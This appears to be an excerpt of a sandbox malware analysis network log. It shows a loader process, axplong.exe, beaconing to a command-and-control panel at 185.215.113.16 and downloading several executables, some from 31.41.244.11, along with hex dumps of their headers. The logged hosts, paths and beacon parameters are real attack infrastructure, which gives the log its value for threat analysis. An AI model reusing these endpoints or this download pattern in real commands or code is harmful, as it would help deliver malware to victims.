Dec 23, 2024 17:16:30.439904928 CET	1236	IN	Data Raw: 1e 00 00 6a 05 68 58 1e 43 00 68 60 1e 43 00 a3 50 8a 63 00 e8 da 1e 00 00 83 c4 48 6a 14 68 68 1e 43 00 68 80 1e 43 00 a3 f8 8a 63 00 e8 c1 1e 00 00 6a 12 68 98 1e 43 00 68 ac 1e 43 00 a3 d4 8c 63 00 e8 ab 1e 00 00 6a 0b 68 c0 1e 43 00 68 cc 1e Data Ascii: jhXCh`CPcHjhhChCcjhChCcjhChC<cjhChCcjhChCHcijhCh$CcSHjh0ChDCc:jhXChdCc$jhpChCcjhChC
Dec 23, 2024 17:16:30.439915895 CET	1236	IN	Data Raw: e8 1a 1a 00 00 6a 0d 68 b8 23 43 00 68 c8 23 43 00 a3 4c 89 63 00 e8 04 1a 00 00 6a 0c 68 d8 23 43 00 68 e8 23 43 00 a3 c8 89 63 00 e8 ee 19 00 00 6a 0b 68 f8 23 43 00 68 04 24 43 00 a3 10 8a 63 00 e8 d8 19 00 00 6a 16 68 10 24 43 00 68 28 24 43 Data Ascii: jh#Ch#CLcjh#Ch#Ccjh#Ch$Ccjh$Ch($C$cHjh@$ChX$Ccjhp$Ch$Ccjh$Ch$Cc}jh$Ch$C8cgjh$Ch%CcQjh%Ch,%Cc;HcjhH%C
Dec 23, 2024 17:16:30.439929008 CET	1236	IN	Data Raw: 00 e8 45 15 00 00 6a 08 68 10 2b 43 00 68 1c 2b 43 00 a3 44 8b 63 00 e8 2f 15 00 00 6a 14 68 28 2b 43 00 68 40 2b 43 00 a3 24 8e 63 00 e8 19 15 00 00 a3 88 8b 63 00 6a 15 68 58 2b 43 00 68 70 2b 43 00 e8 03 15 00 00 83 c4 48 6a 0e 68 88 2b 43 00 Data Ascii: Ejh+Ch+CDc/jh(+Ch@+C$ccjhX+Chp+CHjh+Ch+Ccjh+Ch+Ccjh+Ch+Ccjh+Ch,C,cjh(,ChH,Cdcjhh,Chx,C`c\|Hjh,Ch,Cccjh,Ch,C
Dec 23, 2024 17:16:30.448009014 CET	1236	IN	Data Raw: 63 00 e8 70 10 00 00 6a 0d 68 d8 32 43 00 68 e8 32 43 00 a3 9c 8d 63 00 e8 5a 10 00 00 6a 04 68 f8 32 43 00 68 00 33 43 00 a3 ec 88 63 00 e8 44 10 00 00 83 c4 48 6a 17 68 08 33 43 00 68 20 33 43 00 a3 b4 88 63 00 e8 2b 10 00 00 6a 08 68 38 33 43 Data Ascii: cpjh2Ch2CcZjh2Ch3CcDHjh3Ch 3Cc+jh83ChD3CxcjhP3Ch`3Ccjhp3Ch3C cjh3Ch3Ccjh3Ch3CcHjh3Ch3C cjh4Ch4Ccj=h(4Chh4

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.9	49727	185.215.113.16	80	3236	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Dec 23, 2024 17:16:32.209446907 CET	184	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 38 32 31 32 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1008212001&unit=246122658369
Dec 23, 2024 17:16:33.718328953 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 23 Dec 2024 16:16:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0
Dec 23, 2024 17:16:33.743083954 CET	56	OUT	GET /steam/random.exe HTTP/1.1 Host: 185.215.113.16
Dec 23, 2024 17:16:34.181828022 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 23 Dec 2024 16:16:33 GMT Content-Type: application/octet-stream Content-Length: 2790912 Last-Modified: Mon, 23 Dec 2024 15:54:43 GMT Connection: keep-alive ETag: "676987c3-2a9600" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 20 8b b6 d4 64 ea d8 87 64 ea d8 87 64 ea d8 87 0b 9c 73 87 7c ea d8 87 0b 9c 46 87 69 ea d8 87 0b 9c 72 87 5e ea d8 87 6d 92 5b 87 67 ea d8 87 6d 92 4b 87 62 ea d8 87 e4 93 d9 86 67 ea d8 87 64 ea d9 87 09 ea d8 87 0b 9c 77 87 77 ea d8 87 0b 9c 45 87 65 ea d8 87 52 69 63 68 64 ea d8 87 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 19 64 54 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 96 02 00 00 28 01 00 00 00 00 00 00 d0 4d 00 00 10 00 00 00 b0 02 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 00 4e 00 00 04 00 00 2f 52 2b 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$ ddds\|Fir^m[gmKbgdwwEeRichdPELdTg(M@N/R+@M$a$$ $h@.rsrc$x@.idata $z@tumlwnkw)$(\|@twdpfarlMp@.taggant0M"t@
Dec 23, 2024 17:16:34.181858063 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 23, 2024 17:16:34.181869984 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 23, 2024 17:16:34.181927919 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 23, 2024 17:16:34.181945086 CET	1236	IN	Data Raw: bb 87 f6 d7 fd 3f 13 3b be 4e d2 d3 cb 06 37 9a 79 da 7a 34 fd fe 3f 64 55 06 f3 74 59 7a 6b 29 8d c0 63 52 7d 78 5b 9a c8 54 4c 16 9f a8 39 48 a5 a6 4b 54 a1 36 3b 88 c9 06 af eb 13 15 a3 fb b9 02 97 ec 61 7c 6b 54 bc ee 3e 6c 51 e6 7a 53 7f a5 Data Ascii: ?;N7yz4?dUtYzk)cR}x[TL9HKT6;a\|kT>lQzS]5+Tp>RG?7z:uLY?8AA-KO\|{xb[_39.q*<y$-p3H!g1sH+d;:GwsDlu@1
Dec 23, 2024 17:16:34.181955099 CET	1236	IN	Data Raw: 8f 9e 39 10 5b b6 6f 3b ba 05 fc 66 d5 f1 cd e2 ae de b6 0a 8c a6 84 63 34 9b 94 c0 8a 16 28 03 f1 20 7a 05 72 1b d8 a3 a0 57 93 d2 45 53 7b 98 58 97 7a a9 12 f3 13 a4 74 5f 81 5a ac 08 49 e1 31 4d 36 b4 f1 2b 7a 75 a9 35 39 c9 c9 26 7b d7 0a fb Data Ascii: 9[o;fc4( zrWES{Xzt_ZI1M6+zu59&{y[^gU9<&@rHjuZ{~).NbBHcqK#5m5SayjUaC;6Ce6T"ZNstd)\|ZVpW4l7
Dec 23, 2024 17:16:34.181967974 CET	1236	IN	Data Raw: bb 4f 63 d8 8f 7e 92 ac f1 10 81 4b 8a dd b1 59 8f 5a 82 d4 ba 2d eb 4e cb 40 2b 4b 3d 06 97 bc c1 a0 8e b6 32 4e c3 45 45 7a 95 54 f5 39 bf 92 77 a4 01 53 71 de 06 28 aa 0a 24 4f 1b ba 8b 3c b3 e6 88 48 e5 2d 9b cf 8f c8 4b 34 8f 0e 43 d8 55 85 Data Ascii: Oc~KYZ-N@+K=2NEEzT9wSq($O<H-K4CU;6-bLcbp@6h4;}&Rt{{ZJB;d]z5V3:t:wKS.=Q{DG{FfGj@v7\NYZ$@J
Dec 23, 2024 17:16:34.182194948 CET	1236	IN	Data Raw: 71 f7 88 2f db e2 da df f2 5b 7b 50 dc 7b df a1 c9 0c 83 78 f1 8d 3c 57 72 2e 7b 46 f9 39 53 64 97 37 12 d5 89 0d 33 53 dd 7a 35 48 52 20 62 48 e1 0c 92 20 72 16 fc cb b5 8a 5a 44 19 0c 35 f0 8a 6e fe 42 6f 57 7b 54 56 91 9b 7a c9 4a 62 3c dd 40 Data Ascii: q/[{P{x<Wr.{F9Sd73Sz5HR bH rZD5nBoW{TVzJb<@C4B@}yL@Hk_koi:[J~;W^Fc5FSz,F}qVPq;e/ZJN\|@k9gc@]b2Lo:+;9D15>:z
Dec 23, 2024 17:16:34.182207108 CET	1236	IN	Data Raw: 1d 05 b2 dd 8b 49 82 48 bd 64 77 46 89 f2 36 c0 f1 46 b0 a2 50 06 9b 30 0d ea 88 3b dd 09 9a d5 f3 3e 89 4c c9 7a cb de b1 0f 3a 57 ad 1e 8e 46 da 06 8f e2 f3 b1 7d d5 32 79 60 6c 73 15 6b 91 d9 15 36 f8 8b 91 f3 d6 8f 86 3b 3d f5 8a c1 45 f1 8e Data Ascii: IHdwF6FP0;>Lz:WF}2y`lsk6;=E7[z9^`C:]q7zY?O^,e\|@ZX(-N6U@3;;8QFfk>2}q6z;I>NCFzvk{7`rK6e]qs2.~cim+{
Dec 23, 2024 17:16:34.182297945 CET	1236	IN	Data Raw: ae 0c 83 d8 fd b2 fc 96 7f 00 18 6e 51 8a 8a 9a 05 0d 6f e2 8b a1 72 2a 77 5a f7 45 e9 e0 ea d9 58 cb 72 d3 35 72 32 4b 99 81 77 d6 70 09 89 04 3b fd a4 9c 4d 7a 9f 10 5c 4a f6 99 d4 e0 88 f8 8a a2 7b 04 db 40 06 64 8c 8e 1c dc 8f 06 3e e4 5d 81 Data Ascii: nQor*wZEXr5r2Kwp;Mz\J{@d>]lN>Jey@q9Y_zmdz5B:@DX9~Yi>EQ:A@R7^T_jH{@D-c#5o7zE@5c%zH@?(tIbU-:QNk
Dec 23, 2024 17:16:34.190028906 CET	1236	IN	Data Raw: 59 08 59 05 18 55 8c 94 85 d0 01 89 b3 56 fb 9e ca 6a 3f 4e 55 4c c8 fd f3 e4 8f 18 0f ec 94 88 76 13 87 86 f6 a4 92 5d be 2c a2 2e 17 cc 40 fe 8a ad 93 22 c2 14 57 0c ca 8c 92 38 8e 79 8f e4 65 9a 27 8a f7 3d bb af 71 5b c6 97 ed e8 56 d4 2d 05 Data Ascii: YYUVj?NULv],.@"W8ye'=q[V-d&+ CRHKLcHe 5M[<TTq6&\|KC~9C)Td%p1MQ7-i`jM,Tt{d'u "@\|BTTE\}k#F

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.9	49730	185.215.113.16	80	3236	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Dec 23, 2024 17:16:39.826953888 CET	184	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 38 33 38 35 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1008385001&unit=246122658369
Dec 23, 2024 17:16:41.151691914 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 23 Dec 2024 16:16:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0
Dec 23, 2024 17:16:41.939331055 CET	55	OUT	GET /mine/random.exe HTTP/1.1 Host: 185.215.113.16
Dec 23, 2024 17:16:42.391464949 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 23 Dec 2024 16:16:41 GMT Content-Type: application/octet-stream Content-Length: 3191808 Last-Modified: Mon, 23 Dec 2024 15:54:53 GMT Connection: keep-alive ETag: "676987cd-30b400" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 9a 01 00 00 00 00 00 00 c0 30 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$-ICCC@CFBC6GC6@C6FCGCBCB5CxJCxCxACRichCPELVf0@0G1@Wk0p0 @.rsrc@.idata @fficecxo*)@qigjcqak00@.taggant00"0@
Dec 23, 2024 17:16:42.391516924 CET	224	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 23, 2024 17:16:42.391530037 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 23, 2024 17:16:42.391664982 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 23, 2024 17:16:42.391675949 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 23, 2024 17:16:42.391686916 CET	1236	IN	Data Raw: 0b 05 82 ca 1b a5 6b 10 63 69 cc 37 64 81 a4 fa 2e c5 3c b2 76 44 3e ca bb 44 09 97 2f eb 50 32 67 06 82 ca 1b a9 72 10 63 69 ac 37 64 81 a4 5a 2f c5 3c b2 56 43 3e ca bb 44 09 97 2f eb 44 32 7f 06 82 ca 1b 55 70 10 63 69 8c 37 64 81 a4 ba 2f c5 Data Ascii: kci7d.<vD>D/P2grci7dZ/<VC>D/D2Upci7d/<6C>D/D2qcil7d0<C>D/@2=gciL7dz0<C>D/@2lci,7d0<C>D/@2mci7d:1<C>D/@2nci6d1<
Dec 23, 2024 17:16:42.391701937 CET	1236	IN	Data Raw: b6 3f 3e ca bb 44 09 97 2f eb 40 32 f3 07 82 ca 1b dd 66 10 63 69 ec 32 64 81 a4 9a 3d c5 3c b2 96 3f 3e ca bb 44 09 97 2f eb 40 32 fb 07 82 ca 1b fd 70 10 63 69 cc 32 64 81 a4 fa 3d c5 3c b2 76 3f 3e ca bb 44 09 97 2f eb 44 32 03 07 82 ca 1b 3d Data Ascii: ?>D/@2fci2d=<?>D/@2pci2d=<v?>D/D2=pci2dZ><V>>D/@2kci2d><6>>D/L2rcil2d?<>>D/L2+jciL2dz?<>>D/X2?qci,2d?<>>D/L2_Uj
Dec 23, 2024 17:16:42.391865969 CET	552	IN	Data Raw: 63 69 2c 2e 64 81 a4 da 4b c5 3c b2 d6 3a 3e ca bb 44 09 97 2f eb 48 32 27 0b 82 ca 1b 85 70 10 63 69 0c 2e 64 81 a4 3a 4c c5 3c b2 b6 3a 3e ca bb 44 09 97 2f eb 44 32 37 0b 82 ca 1b fd 6d 10 63 69 ec 2d 64 81 a4 9a 4c c5 3c b2 96 3a 3e ca bb 44 Data Ascii: ci,.dK<:>D/H2'pci.d:L<:>D/D27mci-dL<:>D/`2Cici-dL<v:>D/`2k}lci-dZM<V9>D/x2oci-dM<69>D/L2pcil-dN<9>D/D2MiciL-dzN<9>D
Dec 23, 2024 17:16:42.391877890 CET	1236	IN	Data Raw: 52 c5 3c b2 b6 38 3e ca bb 44 09 97 2f eb 48 32 97 0d 82 ca 1b 6d 6a 10 63 69 ec 2b 64 81 a4 9a 52 c5 3c b2 96 38 3e ca bb 44 09 97 2f eb 48 32 a7 0d 82 ca 1b b5 6d 10 63 69 cc 2b 64 81 a4 fa 52 c5 3c b2 76 38 3e ca bb 44 09 97 2f eb 44 32 b7 0d Data Ascii: R<8>D/H2mjci+dR<8>D/H2mci+dR<v8>D/D2hci+dZS<V7>D/P2%mci+dS<67>D/p2%jcil+dT<7>D/@2MfciL+dzT<7>D/T2mpci,+dT<7>D/D27
Dec 23, 2024 17:16:42.391889095 CET	1236	IN	Data Raw: 38 c2 40 91 a4 85 8c 4b a8 81 03 cc d6 87 81 ca 25 4d 09 97 2f 4d 09 97 2f d2 24 ac f4 82 3c 23 26 4d 09 97 2f 4d 09 97 2f d6 c7 b6 b9 80 b2 d2 ed 72 93 b2 6b 12 3e ca e5 45 45 55 29 df 99 8c 67 81 08 97 2f 4d 09 97 2f d6 c7 b6 b9 0c b2 d2 71 d8 Data Ascii: 8@K%M/M/$<#&M/M/rk>EEU)g/M/q J{b$<M'/M/M/M/<.<b<'Wb<W_<b$/</M/M/M/mIWu%a<3g0KRbM/.AgD
Dec 23, 2024 17:16:42.399976969 CET	1236	IN	Data Raw: c7 0a 4a ca 62 81 3c 23 c2 df c7 17 4f b4 09 b3 a5 28 3e ca ed 66 9a 55 46 dc fe d6 62 69 ea 0d 66 81 24 73 a6 84 3c 96 2f 4d 09 97 2f 4d 09 97 2f 4d 09 97 2f d6 c7 b6 b9 0c 2e 58 a9 85 03 d1 f6 86 81 ca b2 69 6a da 65 81 bf 8e 67 77 82 d2 63 f5 Data Ascii: Jb<#O(>fUFbif$s</M/M/M/.XijegwcG4w$8<M'bR<.<b<'Wb<UT5<WY?SHc<)(b<Y==}=bbD~<(N]Bc<_B_5

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.9	49732	185.215.113.16	80	3236	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Dec 23, 2024 17:16:50.174418926 CET	184	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 38 33 38 36 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1008386001&unit=246122658369
Dec 23, 2024 17:16:51.529263020 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 23 Dec 2024 16:16:50 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.9	49733	31.41.244.11	80	3236	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Dec 23, 2024 17:16:53.050570965 CET	62	OUT	GET /files/unique2/random.exe HTTP/1.1 Host: 31.41.244.11
Dec 23, 2024 17:16:54.326735020 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 23 Dec 2024 16:16:54 GMT Content-Type: application/octet-stream Content-Length: 1909248 Last-Modified: Mon, 23 Dec 2024 14:45:50 GMT Connection: keep-alive ETag: "6769779e-1d2200" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 97 69 b8 cb d3 08 d6 98 d3 08 d6 98 d3 08 d6 98 6e 47 40 98 d2 08 d6 98 cd 5a 52 98 ce 08 d6 98 cd 5a 43 98 c7 08 d6 98 cd 5a 55 98 b8 08 d6 98 f4 ce ad 98 d6 08 d6 98 d3 08 d7 98 a0 08 d6 98 cd 5a 5c 98 d2 08 d6 98 cd 5a 42 98 d2 08 d6 98 cd 5a 47 98 d2 08 d6 98 52 69 63 68 d3 08 d6 98 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 a8 2c b1 65 00 00 00 00 00 00 00 00 e0 00 03 01 0b 01 09 00 00 da 02 00 00 40 01 00 00 00 00 00 00 90 84 00 00 10 00 00 00 f0 02 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 00 00 00 00 00 00 05 00 00 00 00 00 00 00 00 c0 84 00 00 04 00 00 8e 60 1d 00 02 00 00 80 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$inG@ZRZCZUZ\ZBZGRichPEL,e@@`[Ao@ @N@.rsrc@p^@.idata A@ (A@iyuktxhn0Pj*@oqqoprkb@.taggant0"@
Dec 23, 2024 17:16:54.326751947 CET	224	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 23, 2024 17:16:54.326759100 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 23, 2024 17:16:54.326766014 CET	224	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 23, 2024 17:16:54.326770067 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 23, 2024 17:16:54.326776981 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: gp:!!6mc,
Dec 23, 2024 17:16:54.326785088 CET	1236	IN	Data Raw: e1 9a 5c 3e 4b bf cd 35 b7 73 d9 0b 22 db 19 74 3a df c1 d7 28 92 e2 23 9e db 1f 19 fb 2a 2f af 8a e8 fe 21 06 f2 3f 31 a1 b1 12 54 48 7f 0a 8d e3 6a 42 00 12 9f 66 e0 12 e9 de 93 54 e3 ef a8 f1 e6 a9 8f ff 59 6e 7d c0 20 56 78 2a e2 be 17 3a e0 Data Ascii: \>K5s"t:(#/!?1THjBfTYn} Vx:^wq F\|j0Ew:{g,P{zd$gU"L/J)w _?W\|T#Lf^()v^2ouER57{9r[(>!fx(:&%
Dec 23, 2024 17:16:54.326922894 CET	1236	IN	Data Raw: 1a 20 fd 40 13 f4 10 48 9e 6a 93 6c e1 7a 92 d2 6f b9 6e 8c 8c 2b cb ae 48 22 ca ab dc 1f 1c c7 21 ff b1 54 4e cb ff 4a 7a d4 99 15 9e c2 02 d6 bc 93 fb 77 41 63 bc 0f 15 f4 f3 f0 34 a3 66 6d c8 c2 7b cb 16 8e 65 70 1b e1 de d6 38 7e 0e 10 bc dc Data Ascii: @Hjlzon+H"!TNJzwAc4fm{ep8~\|NVb!vAyS%OcrQQXq\>`Sc8d_7Gvo (I[qUZJwfb&I<.=C ^tKGmE50U79W1
Dec 23, 2024 17:16:54.326936007 CET	1236	IN	Data Raw: dd 9f b8 0d 4b 2f 5a 03 78 d3 34 8c 01 90 56 f2 5a 74 07 2c 9c f6 7b ef 5b d1 f4 78 d8 4b be 51 bd 63 63 6a 60 90 7a 27 22 30 da 6e 99 76 be 36 b6 6c 8c 46 4e 98 fd fa fc 71 f1 4b 61 aa f9 51 f2 92 47 45 4a d7 78 9b aa 75 b6 07 20 a2 b6 8e 66 62 Data Ascii: K/Zx4VZt,{[xKQccj`z'"0nv6lFNqKaQGEJxu fb?]Ofi{!ai;#`Bz0{7""`8QvNrOV41D7e]Q&HW{S!L!,cQu+Vzs$={UC~F qfZ
Dec 23, 2024 17:16:54.327133894 CET	1236	IN	Data Raw: 19 2b 6d 52 94 be 4d ce 57 db 91 ad 17 a1 50 7b 8b 83 00 62 d5 e9 da c9 9f ff 94 1f 8a 52 0c cc b2 1c fb 0a c9 91 9f 7a 95 eb 39 15 15 7f 22 6e d2 d4 14 86 92 ff 05 cb 9a a2 90 96 9f 0c a7 16 01 63 9e 69 c5 ea ab b0 e3 d0 da 5a 24 22 5d 6f 26 67 Data Ascii: +mRMWP{bRz9"nciZ$"]o&g3zaz^ t\Tw#T/2b-w{QnF}s9G6//#xb"@X5Y:-5*~iqoo)c}Y}kg'(wb>
Dec 23, 2024 17:16:54.448218107 CET	1236	IN	Data Raw: 68 ba ca 44 e5 7b a6 e4 bf 96 1c 76 75 ce c0 a7 aa b5 78 14 76 75 45 6f fa 47 2b a3 a0 f5 a1 38 1f e4 22 d0 a5 5b a7 28 79 ec e4 82 a0 a7 b6 f6 b0 17 60 b1 a9 22 f2 71 28 fd 16 c3 f6 dd fb 5b 2a 43 8b 0d ee e8 8e 9f 48 5f c0 39 a9 2a d8 27 17 eb Data Ascii: hD{vuxvuEoG+8"[(y`"q([CH_9'tdW1^o[Ky-rwH-.<8&&'?U&;/\|::eI0m1cpj<Q?q;5VlBJ-7f8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.9	49734	185.215.113.16	80	3236	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

